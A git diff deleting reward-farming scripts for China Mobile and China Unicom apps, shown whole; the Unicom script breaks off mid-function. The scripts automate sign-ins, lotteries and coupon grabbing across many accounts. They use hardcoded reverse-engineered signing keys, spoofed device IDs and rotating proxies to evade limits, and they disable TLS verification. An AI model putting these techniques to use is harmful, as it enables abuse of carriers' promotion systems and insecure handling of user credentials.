-const { Env } = require("../tools/env")
-const $ = new Env("中国移动APP");
-let ckName = `chinaMobile`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
-
- async run() {
-
- await this.signIn()
- }
-
- async signIn() {
- let toDay = $.time("yyyyMMdd");
- let options = {
- method: 'POST',
- url: 'https://wx.10086.cn/qwhdhub/api/mark/mark31/domark',
- headers: {
- 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/wkwebview leadeon/12.0.9/CMCCIT',
- 'x-requested-with': 'XMLHttpRequest',
- 'Sec-Fetch-Site': 'same-origin',
- 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',
- 'Sec-Fetch-Mode': 'cors',
- 'Content-Type': 'application/json;charset=UTF-8',
- 'Origin': 'https://wx.10086.cn',
- 'Referer': 'https://wx.10086.cn/qwhdhub/qwhdmark/1021122301?channelId=P00000057578&yx=9000239640&redCode=rec_feedHotZoneApp_P00000057578&token=QWHDSSOD20260403T185702396DU1021122301Htb7t4R457104',
- 'login-check': '1',
- 'Sec-Fetch-Dest': 'empty',
- 'Cookie': "QWHD_SESSION_TOKEN=" + this.token,
- },
- data: JSON.stringify({
- "date": toDay
- })
- };
- let { data: result } = await axios.request(options);
- if (result?.code == 'SUCCESS') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊签到成功🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`)
- }
-
-
-
-
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/chinaUnicom.py b/daily/chinaUnicom.py
deleted file mode 100644
index c80d27ae..00000000
--- a/daily/chinaUnicom.py
+++ /dev/null
@@ -1,5823 +0,0 @@
-# -*- coding: utf-8 -*-
-"""
-中国联通 Python 版 v1.0.5
-new Env('中国联通');
-包含以下功能:
-1. 首页签到 (话费红包/积分)
-2. 联通祝福 (各类抽奖)
-3. 天天领现金 (每日打卡/立减金)
-4. 权益超市 (任务/抽奖/浇水/领奖/全局库存缓存)
-5. 安全管家 (日常任务/积分领取)
-6. 联通云盘 (签到/AI互动/文件上传/抽奖活动/重复清理)
-7. 联通阅读 (自动获取书籍/心跳阅读/抽奖/查红包)
-8. 联通爱听 (积分任务/自动签到/阅读挂机/分享任务)
-9. 沃云手机 (签到/任务/抽奖)
-10. 区域专区 (自动识别新疆/河南/云南执行特有任务)
-
-更新说明:
-
-### 20260322
-v1.0.5:
-- 权益超市:接入会员中心浏览积分任务,并拆分独立子开关。
-- 区域专区:接入新疆每月抽奖新版 `themeAct` 链路。
-- 会员中心:补充页面预热、状态轮询和领奖兜底,提升成功率。
-- 日志:更新版本号,精简更新说明与启动输出。
-
-### 20260321
-v1.0.3:
-- 云盘:整合实时任务、家乡打卡抽奖、上传/清理与容错优化。
-- 权益超市:恢复浇花签名并对齐 H5 请求头。
-- 联通爱听:补齐 `jftask` 签名头。
-- 区域专区:新增云南生活任务。
-
-### 20260301
-v1.0.2:
-- 🎛️ **全局总开关**:新增 globalConfig 配置字典,可一键 开/关 各功能模块。
-- 🔧 **设备ID控制**:新增 refresh_device_id 选项,可选强制刷新或使用缓存设备ID。
-- 📊 **启动日志优化**:启动时动态打印各模块开关状态及权益超市子开关详情。
-- ⏱️ **智能冷却**:阅读/爱听均关闭时自动跳过120秒冷却等待。
-- 🗑️ **移除失效活动**:删除已下架的云盘春节拼图活动代码(约565行)。
-- 🔧 **修复模拟阅读**:补齐 addReadTime 缺失的用户参数,增强嵌套响应解析。
-- 🔧 **修复安全管家**:getTicketByNative_sec 加入代理故障转移,避免代理失效时跳过全部任务。
-- ⏱️ **阅读冷却等待**:阅读专区与爱听任务间增加120秒间隔,适配联通2分钟阅读冷却限制。
-
-配置说明:
-1. 账号变量 (chinaUnicomCookie):
- 赋值方式有三种:
- a. 填账号密码 (自动获取Token - 推荐):
- export chinaUnicomCookie="18600000000#123456"
- b. 填Token#AppId (免密模式 - 推荐):
- export chinaUnicomCookie="a3e4c1ff2xxxxxxxxx#912d30xxxxxx"
- c. 仅填Token (旧模式):
- export chinaUnicomCookie="a3e4c1ff2xxxxxxxxx"
- (多账号用 & 或 换行 隔开)
-
-2. 代理设置 (可选):
- export UNICOM_PROXY_API="你的代理提取链接" (支持 JSON/TXT 格式,自动识别)
- export UNICOM_PROXY_TYPE="socks5" (可选 http 或 socks5,默认 socks5)
-
-3. 特殊功能设置:
- export UNICOM_GRAB_AMOUNT="5" : (可选) 抢兑面额 (默认5,自动匹配含"5元"或"5话费"的奖品)
- export UNICOM_GRAB_URL="https://..." : (可选) 自定义抢兑接口地址
- export UNICOM_TEST_MODE="query" : (可选) 仅查询模式,跳过任务执行只查询资产
-
-定时规则建议 (Cron):
-0 58 9,17 * * * (抢兑专用: 需 sign_config.run_grab_coupon=True,建议提前2分钟启动,脚本自动精准等待)
-0 7,20 * * * (推荐:每天早晚7点/20点各跑一次,覆盖绝大部分签到任务)
-"""
-import os
-import sys
-import json
-import time
-import random
-import re
-import hashlib
-import hmac
-import base64
-import logging
-import requests
-import uuid
-import string
-import tempfile
-from datetime import datetime
-try:
- sys.stdout.reconfigure(encoding='utf-8')
-except:
- pass
-from urllib.parse import urlparse, parse_qs, urlencode, unquote, quote
-from requests.adapters import HTTPAdapter
-from requests.packages.urllib3.util.retry import Retry
-from Crypto.Cipher import AES, PKCS1_v1_5
-from Crypto.PublicKey import RSA
-from Crypto.Util.Padding import pad, unpad
-# ========================================
-# 全局配置 (globalConfig)
-# true=开启, false=关闭
-# ========================================
-globalConfig = {
- # --- 1. 功能总开关 (True=开启, False=关闭) ---
- "enable_sign": True, # 首页签到 (🔺总开关, 含签到/任务/抢话费券)
- "enable_ttlxj": True, # 天天领现金
- "enable_ltzf": True, # 联通祝福
- "enable_woread": False, # 联通阅读
- "enable_security": True, # 安全管家
- "enable_ltyp": True, # 联通云盘
- "enable_market": True, # 权益超市 (🔺总开关, 必须开启内部功能才能运行)
- "enable_aiting": True, # 联通爱听
- "enable_wostore": True, # 沃云手机
- "enable_regional": True, # 区域专区
-
- # --- ✅ 签到区内部细分开关 ---
- "sign_config": {
- "run_grab_coupon": False, # False = 关闭抢话费券 (True=开启抢兑, 需配合 UNICOM_GRAB_AMOUNT 设置面额)
- },
-
- # --- 🛒 权益超市内部细分开关 (按需修改到这里) ---
- "market_config": {
- "run_water": True, # False = 关闭浇水
- "run_task": True, # False = 关闭做任务(浏览/分享)
- "run_member_center": True, # False = 关闭浏览会员中心得积分
- "run_draw": True, # True = 开启抽奖
- "run_claim": True, # True = 开启自动领奖(建议开启, 不领白不领)
- },
-
- # --- 2. 设备ID配置 ---
- "refresh_device_id": False, # False:使用缓存ID, True:强制刷新
-}
-COMMON_CONSTANTS = {
- "UA": "Dalvik/2.1.0 (Linux; U; Android 12; Mi 10 Pro MIUI/21.11.3);unicom{version:android@11.0802}",
- "MARKET_UA": "Dalvik/2.1.0 (Linux; U; Android 12; Mi 10 Pro MIUI/21.11.3);unicom{version:android@11.0802}",
- "MARKET_H5_UA": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36; unicom{version:android@11.0802,desmobile:0};devicetype{deviceBrand:Xiaomi,deviceModel:MI 8}",
- "APP_VERSION": "android@11.0802",
-}
-MARKET_MEMBER_CENTER_PAGE_ID = "s782351687947921408"
-MARKET_MEMBER_CENTER_DISTRIBUTE_ID = "D1161369893988319232"
-MARKET_MEMBER_CENTER_PARTNERS_ID = "1703"
-MARKET_MEMBER_CENTER_CLIENT_TYPE = "marketUnicom"
-MARKET_MEMBER_CENTER_TASK_CODE = "s769153426294495232"
-XJ_ACTIVITY_MONTHS = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
-XJ_ACTIVITY_YEAR = os.environ.get("XJ_ACTIVITY_YEAR", str(datetime.now().year))
-XJ_ACTIVITY_MONTH = os.environ.get("XJ_ACTIVITY_MONTH", XJ_ACTIVITY_MONTHS[datetime.now().month - 1])
-XJ_ACTIVITY_ID = f"{XJ_ACTIVITY_MONTH}{XJ_ACTIVITY_YEAR}Act"
-XJ_MONTHLY_DRAW_ATTEMPT_COUNT = max(int(os.environ.get("UNICOM_ATTEMPT_COUNT", "1") or "1"), 1)
-XJ_USER_AGENT = os.environ.get(
- "XJ_USER_AGENT",
- "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 "
- "(KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0701};ltst;OSVersion/16.2"
-)
-UNICOM_CLOUD_UPLOAD_TIMEOUT = int(os.environ.get("UNICOM_CLOUD_UPLOAD_TIMEOUT", "120") or "120")
-UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES = int(os.environ.get("UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES", "6376590") or "6376590")
-WOCARE_CONSTANTS = {
- "serviceLife": "wocareMBHServiceLife1",
- "anotherApiKey": "beea1c7edf7c4989b2d3621c4255132f",
- "anotherEncryptionKey": "f4cd4ffeb5554586acf65ba7110534f5",
- "minRetries": "1"
-}
-WOCARE_ACTIVITIES = [
- {"name": "星座配对", "id": 2},
- {"name": "大转盘", "id": 3},
- {"name": "盲盒抽奖", "id": 4}
-]
-AITING_BASE_URL = "https://pcc.woread.com.cn"
-AITING_SIGN_KEY_APPKEY = "7ZxQ9rT3wE5sB2dF"
-AITING_SIGN_KEY_API = "woread!@#qwe1234"
-AITING_SIGN_KEY_REQUERTID = "46iCw24ewAZbNkK6"
-AITING_CLIENT_KEY = "1"
-AITING_AES_KEY = "j2K81755sxV12wFx"
-AITING_AES_IV = "16-Bytes--String"
-WOREAD_KEY = "woreadst^&*12345"
-ADDREADTIME_AES_KEY = "UNS#READDAY39COM"
-YUNNAN_LIFE_BASE_URL = "https://wsm.wx.yn10010.com"
-YUNNAN_LIFE_ACT_ID = "47191519589909"
-YUNNAN_LIFE_SIGN_SALT = "ltynsh@sd23kjkgj2mbnfa0"
-YUNNAN_LIFE_ACCESS_KEY = "ltynsh"
-YUNNAN_LIFE_TO_URL = "https://wsm.wx.yn10010.com/micropage/orderPages/newYear/2025newYearsDay?channelId=1001010"
-YUNNAN_LIFE_TASKS = [
- {"taskName": "每日签到", "taskCode": "DAILY_SIGN"},
- {"taskName": "浏览年终大回馈,好礼多多", "taskCode": "BROWSE_5TOWNS"},
-]
-GRAB_AMOUNT = os.environ.get("UNICOM_GRAB_AMOUNT", "5")
-GRAB_URL = os.environ.get("UNICOM_GRAB_URL", "https://act.10010.com/SigninApp/convert/prizeConvert")
-UNICOM_TOKEN_CACHE_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "unicom_token_cache.json")
-if "UNICOM_PROXY_API" not in os.environ:
- os.environ.pop("http_proxy", None)
- os.environ.pop("https_proxy", None)
- os.environ.pop("HTTP_PROXY", None)
- os.environ.pop("HTTPS_PROXY", None)
-LOGIN_PUB_KEY = """-----BEGIN PUBLIC KEY-----
-MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDc+CZK9bBA9IU+gZUOc6FUGu7yO9WpTNB0PzmgFBh96Mg1WrovD1oqZ+eIF4LjvxKXGOdI79JRdve9NPhQo07+uqGQgE4imwNnRx7PFtCRryiIEcUoavuNtuRVoBAm6qdB0SrctgaqGfLgKvZHOnwTjyNqjBUxzMeQlEC2czEMSwIDAQAB
------END PUBLIC KEY-----"""
-
-def mask_str(s):
- try:
- s = str(s)
- if len(s) == 11 and s.isdigit():
- return s[:3] + "****" + s[7:]
- elif s.startswith("enc_"):
- return s
- elif len(s) > 11:
- return s[:6] + "******" + s[-6:]
- return s
- except:
- return s
-
-
-def safe_int(value, default=0):
- try:
- return int(str(value).strip())
- except Exception:
- return default
-
-class FailoverSession:
- """包装 requests.Session,自动为所有请求添加代理故障转移"""
- RETRIABLE_KEYWORDS = ("Max retries exceeded", "timed out", "connection", "SOCKS", "ProxyError", "ConnectionError")
-
- def __init__(self, session, owner):
- self._session = session
- self._owner = owner # UserService 实例引用
-
- def __getattr__(self, name):
- return getattr(self._session, name)
-
- def _should_failover(self, err_msg):
- if not os.environ.get("UNICOM_PROXY_API"):
- return False
- err_lower = err_msg.lower()
- return any(kw.lower() in err_lower for kw in self.RETRIABLE_KEYWORDS)
-
- def _has_streaming_payload(self, kwargs):
- if kwargs.get("files"):
- return True
- data = kwargs.get("data")
- return hasattr(data, "read")
-
- def request(self, method, url, **kwargs):
- try:
- return self._session.request(method, url, **kwargs)
- except Exception as e:
- if self._should_failover(str(e)):
- self._owner.log(f"⚠️ [自动故障转移] {url} 请求异常: {e}")
- self._owner.failover_proxy()
- if self._has_streaming_payload(kwargs):
- raise
- return self._session.request(method, url, **kwargs)
- raise
-
- def get(self, url, **kwargs):
- return self.request("GET", url, **kwargs)
-
- def post(self, url, **kwargs):
- return self.request("POST", url, **kwargs)
-
-class UserService:
- def __init__(self, index, config_str):
- self.index = index
- self.valid = False
- self.notify_logs = []
- raw_session = requests.Session()
- import socket
-
- class SourceAddressAdapter(HTTPAdapter):
-
- def init_poolmanager(self, connections, maxsize, block=False, **pool_kwargs):
- pool_kwargs['source_address'] = ('0.0.0.0', 0)
- super(SourceAddressAdapter, self).init_poolmanager(connections, maxsize, block, **pool_kwargs)
-
- def get_connection(self, url, proxies=None):
- return super(SourceAddressAdapter, self).get_connection(url, proxies)
- retries = Retry(total=3, backoff_factor=1, status_forcelist=[500, 502, 503, 504])
- adapter = SourceAddressAdapter(max_retries=retries)
- raw_session.mount('http://', adapter)
- raw_session.mount('https://', adapter)
- raw_session.headers.update({
- "User-Agent": COMMON_CONSTANTS["UA"],
- "Connection": "keep-alive"
- })
- raw_session.verify = False
- import urllib3
- urllib3.disable_warnings()
- self.session = FailoverSession(raw_session, self)
- self.account_mobile = ""
- self.mobile = ""
- self.account_password = ""
- self.token_online = ""
- self.token_refresh = ""
- self.cookie = ""
- self.appId = ""
- self.city_info = []
- self.last_read_submission_time = 0
- if globalConfig.get("refresh_device_id", False):
- self.uuid = str(uuid.uuid4()).replace('-', '')
- else:
- self.uuid = os.environ.get("chinaUnicomUuid") or str(uuid.uuid4()).replace('-', '')
- self.unicomTokenId = self.random_string(32)
- self.tokenId_cookie = "chinaunicom-" + self.random_string(32, string.ascii_uppercase + string.digits)
- self.ecs_token = ""
- self.rptId = ""
- self.init_account(config_str)
-
- def _parse_proxy_response(self, text):
- """解析代理API响应,支持JSON和文本格式,提取ip/port/user/pass"""
- text = text.strip()
-
- def extract(d):
- if not d or not d.get('ip') or not d.get('port'):
- return None
- return {
- 'ip': str(d['ip']),
- 'port': int(d['port']),
- 'user': str(d.get('account') or d.get('user') or ''),
- 'pass': str(d.get('password') or d.get('pass') or '')
- }
- try:
- json_start = text.find('{')
- json_end = text.rfind('}')
- if json_start != -1 and json_end != -1:
- data = json.loads(text[json_start:json_end + 1])
- if data.get('ip') and data.get('port'):
- return extract(data)
- if data.get('data'):
- inner = data['data']
- if isinstance(inner, dict) and inner.get('list') and isinstance(inner['list'], list) and len(inner['list']) > 0:
- return extract(inner['list'][0])
- if isinstance(inner, list) and len(inner) > 0:
- return extract(inner[0])
- if isinstance(inner, dict) and inner.get('ip'):
- return extract(inner)
- if data.get('result') and isinstance(data['result'], dict) and data['result'].get('ip'):
- return extract(data['result'])
- except:
- pass
- m = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[:\s\t]+(\d{1,5})', text)
- if m:
- return {'ip': m.group(1), 'port': int(m.group(2)), 'user': '', 'pass': ''}
- return None
-
- def configure_proxy(self):
- proxy_api = os.environ.get("UNICOM_PROXY_API")
- if not proxy_api:
- return
- proxy_type = os.environ.get("UNICOM_PROXY_TYPE", "socks5").lower()
- max_retries = 5
- for attempt in range(1, max_retries + 1):
- try:
- if attempt > 1:
- self.log(f"🔄 [第{attempt}次] 重试获取代理IP ({proxy_type})...")
- time.sleep(2)
- else:
- self.log(f"正在获取代理IP (模式: {proxy_type})...")
- res = requests.get(proxy_api, timeout=10)
- if res.status_code != 200:
- self.log(f"⚠️ 获取代理失败: HTTP {res.status_code}")
- continue
- proxy_info = self._parse_proxy_response(res.text)
- if not proxy_info:
- preview = res.text[:100] + "..." if len(res.text) > 100 else res.text
- self.log(f"❌ 提取失败: 无法识别代理格式 (内容: {preview})")
- continue
- ip, port = proxy_info['ip'], proxy_info['port']
- user, pwd = proxy_info['user'], proxy_info['pass']
- if user and pwd:
- proxy_url = f"{proxy_type}://{quote(user)}:{quote(pwd)}@{ip}:{port}"
- log_msg = f"{proxy_type}://***:***@{ip}:{port}"
- else:
- proxy_url = f"{proxy_type}://{ip}:{port}"
- log_msg = proxy_url
- self.log(f"🔍 提取成功: {log_msg}")
- test_proxies = {"http": proxy_url, "https": proxy_url}
- try:
- requests.get("https://www.baidu.com", proxies=test_proxies, timeout=3)
- self.session.proxies.update(test_proxies)
- self.log("✅ 代理连通性测试通过")
- return
- except Exception as te:
- self.log(f"⚠️ 代理测试失败: {te}")
- except Exception as e:
- self.log(f"❌ 请求代理API异常: {e}")
- self.log(f"🚫 重试{max_retries}次均失败,回退至本地IP")
-
- def failover_proxy(self):
- proxy_api = os.environ.get("UNICOM_PROXY_API")
- if not proxy_api:
- return False
- self.log("⚠️ [故障转移] 检测到网络不稳定,正在检查当前代理是否存活...")
- try:
- requests.get("https://www.baidu.com", proxies=self.session.proxies, timeout=3)
- self.log("✅ [故障转移] 经测试当前IP仍有效,继续复用,暂不提取新IP。")
- time.sleep(1)
- return True
- except Exception as e:
- self.log(f"❌ [故障转移] 当前代理已失效 ({e}),准备更换新IP...")
- time.sleep(2)
- self.configure_proxy()
- return True
-
- def init_account(self, config_str):
- parts = config_str.split('#')
- if len(parts) >= 2 and len(parts[0]) == 11 and parts[0].isdigit() and len(parts[1]) < 50:
- self.account_mobile = parts[0]
- self.account_password = parts[1]
- else:
- self.token_online = parts[0].strip()
- if len(self.token_online) == 11 and self.token_online.isdigit():
- self.account_mobile = self.token_online
- self.token_online = "" # Reset, allow load_token_from_cache to fill it
- self.log(f"识别到纯手机号模式: {mask_str(self.account_mobile)}")
- if len(parts) > 1:
- self.appId = parts[1].strip()
- if len(parts) > 2 and parts[2]:
- potential_mobile = parts[2].strip()
- if potential_mobile.isdigit() and len(potential_mobile)==11:
- self.account_mobile = potential_mobile
- self.unicomTokenId = str(uuid.uuid4()).replace('-', '') # simplified
- self.tokenId_cookie = "chinaunicom-" + str(uuid.uuid4()).replace('-', '').upper() # simplified
- self.cookie_string = f"TOKENID_COOKIE={self.tokenId_cookie}; UNICOM_TOKENID={self.unicomTokenId}; sdkuuid={self.unicomTokenId}"
- self.update_session_cookies()
-
- def update_session_cookies(self):
- if self.cookie_string:
- cookies = {}
- for item in self.cookie_string.split(';'):
- if '=' in item:
- k, v = item.split('=', 1)
- cookies[k.strip()] = v.strip()
- self.session.cookies.update(cookies)
- extra_cookies = {}
- if self.token_online:
- extra_cookies['token_online'] = self.token_online
- if self.appId:
- extra_cookies['appId'] = self.appId
- if extra_cookies:
- self.session.cookies.update(extra_cookies)
-
- def log(self, msg, notify=False):
- prefix = f"账号[{self.index}]"
- full_msg = f"{prefix}{msg}"
- log_line = f"[{datetime.now().strftime('%H:%M:%S')}] {full_msg}"
- print(log_line)
- if notify:
- self.notify_logs.append(str(msg))
-
- def request_direct(self, method, url, **kwargs):
- session = requests.Session()
- session.trust_env = False
- session.verify = False
- try:
- return session.request(method, url, **kwargs)
- finally:
- session.close()
-
- def rsa_encrypt(self, val):
- self.log(f"正在进行 RSA 加密...")
- try:
- random_str = ''.join(str(random.randint(0, 9)) for _ in range(6))
- text = str(val) + random_str
- data = text.encode('utf-8')
- key_pem = LOGIN_PUB_KEY.encode()
- recipient_key = RSA.import_key(key_pem)
- cipher_rsa = PKCS1_v1_5.new(recipient_key)
- enc_data = cipher_rsa.encrypt(data)
- return base64.b64encode(enc_data).decode('utf-8')
- except Exception as e:
- self.log(f"RSA加密失败: {str(e)}")
- return ""
-
- def generate_appid(self):
-
- def rnd(): return str(random.randint(0, 9))
- return (f"{rnd()}f{rnd()}af"
- f"{rnd()}{rnd()}ad"
- f"{rnd()}912d306b5053abf90c7ebbb695887bc"
- f"870ae0706d573c348539c26c5c0a878641fcc0d3e90acb9be1e6ef858a"
- f"59af546f3c826988332376b7d18c8ea2398ee3a9c3db947e2471d32a49") + rnd() + rnd()
-
- def unicom_login(self):
- self.log(f"正在使用账号 {mask_str(self.account_mobile)} 进行登录...")
- if not self.appId:
- self.appId = self.generate_appid()
- self.log(f"生成临时 AppId: {self.appId[:15]}...")
- timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
- try:
- payload = {
- "version": COMMON_CONSTANTS["APP_VERSION"],
- "mobile": self.rsa_encrypt(self.account_mobile),
- "reqtime": timestamp,
- "deviceModel": "Android",
- "netWay": "Wifi",
- "isR4": "0",
- "password": self.rsa_encrypt(self.account_password),
- "appId": self.appId
- }
- url = "https://m.client.10010.com/mobileService/login.htm"
- res = self.session.post(url, data=payload)
- result = res.json()
- if result.get('code') in ['0', '0000']:
- if result.get('token_online'):
- self.token_online = result['token_online']
- self.log("✅ 登录接口验证通过")
- return True
- else:
- self.log("❌ 登录响应中未找到 token_online")
- else:
- self.log(f"❌ 登录失败: {result.get('desc')} (Code: {result.get('code')})")
- except Exception as e:
- self.log(f"❌ 登录过程异常: {str(e)}")
- return False
-
- def request(self, method, url, **kwargs):
- try:
- current_cookies = self.session.cookies.get_dict()
- if self.cookie_string:
- for item in self.cookie_string.split(';'):
- if '=' in item:
- k, v = item.split('=', 1)
- current_cookies[k.strip()] = v.strip()
- cookie_header = "; ".join([f"{k}={v}" for k, v in current_cookies.items()])
- if cookie_header:
- if 'headers' not in kwargs:
- kwargs['headers'] = {}
- kwargs['headers']['Cookie'] = cookie_header
- timeout = kwargs.get('timeout', 10)
- if 'timeout' in kwargs: del kwargs['timeout']
- response = self.session.request(method, url, timeout=timeout, **kwargs)
- if response.status_code >= 400:
- self.log(f"请求 {url} 返回状态码 {response.status_code}")
- return response
- except Exception as e:
- self.log(f"请求 {url} 异常: {str(e)}")
- return None
-
- def load_token_from_cache(self):
- if not self.account_mobile:
- return False
- if not os.path.exists(UNICOM_TOKEN_CACHE_PATH):
- return False
- try:
- with open(UNICOM_TOKEN_CACHE_PATH, 'r', encoding='utf-8') as f:
- cache = json.load(f)
- user_cache = cache.get(self.account_mobile)
- if user_cache and user_cache.get('token_online'):
- if (datetime.now().timestamp() * 1000) - user_cache.get('timestamp', 0) < 12 * 60 * 60 * 1000:
- self.token_online = user_cache['token_online']
- self.appId = user_cache.get('appId', self.appId)
- self.city_info = user_cache.get('city_info', [])
- self.update_session_cookies()
- self.log(f"♻️ [缓存复用] 成功加载本地 Token ({user_cache.get('time')})")
- return True
- except Exception as e:
- pass
- return False
-
- def save_token_to_cache(self):
- if not self.account_mobile:
- return
- cache = {}
- if os.path.exists(UNICOM_TOKEN_CACHE_PATH):
- try:
- with open(UNICOM_TOKEN_CACHE_PATH, 'r', encoding='utf-8') as f:
- cache = json.load(f)
- except: pass
- now = datetime.now()
- cache[self.account_mobile] = {
- "token_online": self.token_online,
- "appId": self.appId,
- "city_info": getattr(self, 'city_info', []),
- "cookieString": "",
- "timestamp": int(now.timestamp() * 1000),
- "time": now.strftime('%Y-%m-%d %H:%M:%S')
- }
- try:
- with open(UNICOM_TOKEN_CACHE_PATH, 'w', encoding='utf-8') as f:
- json.dump(cache, f, indent=2, ensure_ascii=False)
- self.log("💾 [缓存保存] Token 已写入本地文件")
- except Exception as e:
- self.log(f"❌ 保存缓存失败: {str(e)}")
-
- def get_city_info(self):
- try:
- url = "https://m.client.10010.com/mobileService/business/get/getCity"
- res = self.session.post(url, data={}, timeout=10).json()
- if res.get('code') == '200' and res.get('list'):
- self.city_info = res.get('list')
- return True
- return False
- except:
- return False
-
- def queryRemain(self):
- try:
- if not self.ecs_token:
- if not self.onLine():
- self.log("❌ 无法获取 ecs_token,跳过查询")
- return
- self.log("==== 资产查询 ====")
- self.log("正在查询套餐余量...")
- url = "https://m.client.10010.com/servicequerybusiness/balancenew/accountBalancenew.htm"
- headers = {
- "User-Agent": COMMON_CONSTANTS["MARKET_UA"],
- "Cookie": f"ecs_token={self.ecs_token}"
- }
- res = self.request("get", url, headers=headers)
- if not res: return
- result = res.json()
- if result.get('code') == '0000':
- current_balance = "0.00"
- real_time_fee = "0.00"
- if result.get('curntbalancecust'):
- current_balance = str(result['curntbalancecust'])
- if result.get('realfeecust'):
- real_time_fee = str(result['realfeecust'])
- self.log(f"💰 [资产-话费] 当前余额: {current_balance}元, 实时话费: {real_time_fee}元", notify=True)
- pkg_list = result.get('realTimeFeeSpecialFlagThree', [])
- if pkg_list and isinstance(pkg_list, list):
- self.log(f" 📋 [套餐详情]:", notify=True)
- for item in pkg_list:
- sub_items = item.get('subItems', [])
- if sub_items:
- for sub in sub_items:
- bill = sub.get('bill', {})
- if bill:
- name = bill.get('integrateitem', '未知项')
- fee = bill.get('realfee', '0.00')
- self.log(f" - {name}: {fee}元", notify=True)
- else:
- msg = result.get('desc') or result.get('msg') or "未知错误"
- self.log(f"套餐余量查询失败: {msg}")
- except Exception as e:
- self.log(f"queryRemain 异常: {str(e)}")
-
- def onLine(self):
- if not self.token_online:
- self.log("❌ 缺少 token_online,无法执行 onLine")
- return False
- try:
- url = "https://m.client.10010.com/mobileService/onLine.htm"
- data = {
- 'isFirstInstall': '1',
- 'netWay': 'Wifi',
- 'version': 'android@11.0000',
- 'token_online': self.token_online,
- 'provinceChanel': 'general',
- 'deviceModel': 'ALN-AL10',
- 'step': 'dingshi',
- 'androidId': '291a7deb1d716b5a',
- 'reqtime': int(time.time() * 1000)
- }
- if self.appId:
- data['appId'] = self.appId
- res = self.request('post', url, data=data)
- if not res: return False
- result = res.json()
- code = result.get('code')
- if code == '0' or code == 0:
- self.valid = True
- desmobile = result.get('desmobile', '')
- if len(desmobile) == 11 and desmobile.isdigit():
- self.account_mobile = desmobile
- self.mobile = desmobile
- elif desmobile.startswith("enc_"):
- if not self.account_mobile:
- self.log("⚠️ 注意: 服务端返回了加密手机号且未配置本地手机号")
- self.log("登录成功")
- self.city_info = result.get('list', [])
- self.ecs_token = result.get('ecs_token')
- return True
- else:
- self.log(f"登录失败[{code}]: {result.get('msg')}")
- return False
- except Exception as e:
- self.log(f"onLine 异常: {str(e)}")
- return False
-
- def gettaskip(self):
- orderId = self.random_string(32).upper()
- try:
- url = "https://m.client.10010.com/taskcallback/topstories/gettaskip"
- data = {
- "mobile": self.account_mobile,
- "orderId": orderId
- }
- self.request("post", url, data=data)
- except Exception as e:
- pass
- return orderId
-
- def sign_getContinuous(self, is_query_only=False):
- try:
- url = "https://activity.10010.com/sixPalaceGridTurntableLottery/signin/getContinuous"
- params = {
- "taskId": "",
- "channel": "wode",
- "imei": self.uuid
- }
- res = self.request("get", url, params=params)
- if not res: return
- result = res.json()
- code = result.get('code')
- if code == "0000":
- todayIsSignIn = result.get('data', {}).get('todayIsSignIn', 'n')
- self.log(f"签到区今天{'已' if todayIsSignIn == 'y' else '未'}签到", notify=True)
- if todayIsSignIn == 'y':
- pass
- else:
- if not is_query_only:
- time.sleep(1)
- self.sign_daySign()
- else:
- self.log("签到区: [查询模式] 跳过自动打卡")
- else:
- self.log(f"签到区查询签到状态失败[{code}]: {result.get('desc', '')}")
- except Exception as e:
- self.log(f"sign_getContinuous 异常: {str(e)}")
-
- def sign_daySign(self):
- try:
- url = "https://activity.10010.com/sixPalaceGridTurntableLottery/signin/daySign"
- res = self.request("post", url, data={})
- if not res: return
- result = res.json()
- code = result.get('code')
- if code == "0000":
- data = result.get('data', {})
- msg = f"签到区签到成功: [{data.get('statusDesc', '')}]{data.get('redSignMessage', '')}"
- self.log(msg)
- elif code == "0002" and "已经签到" in result.get('desc', ''):
- self.log("签到区签到成功: 今日已完成签到!")
- else:
- self.log(f"签到区签到失败[{code}]: {result.get('desc', '')}")
- except Exception as e:
- self.log(f"sign_daySign 异常: {str(e)}")
-
- def sign_getTelephone(self, is_initial=False, silent=False):
- try:
- url = "https://act.10010.com/SigninApp/convert/getTelephone"
- res = self.request("post", url, data={})
- if not res: return None
- result = res.json()
- status = result.get('status')
- if status == "0000" and result.get('data'):
- tel_val = result['data'].get('telephone', 0)
- try:
- current_amount = float(tel_val)
- except:
- current_amount = 0.0
- if silent:
- return current_amount
- if is_initial:
- msg = f"签到区-话费红包: 运行前总额 {current_amount:.2f}元"
- self.sign_initial_amount = current_amount
- else:
- if hasattr(self, 'sign_initial_amount'):
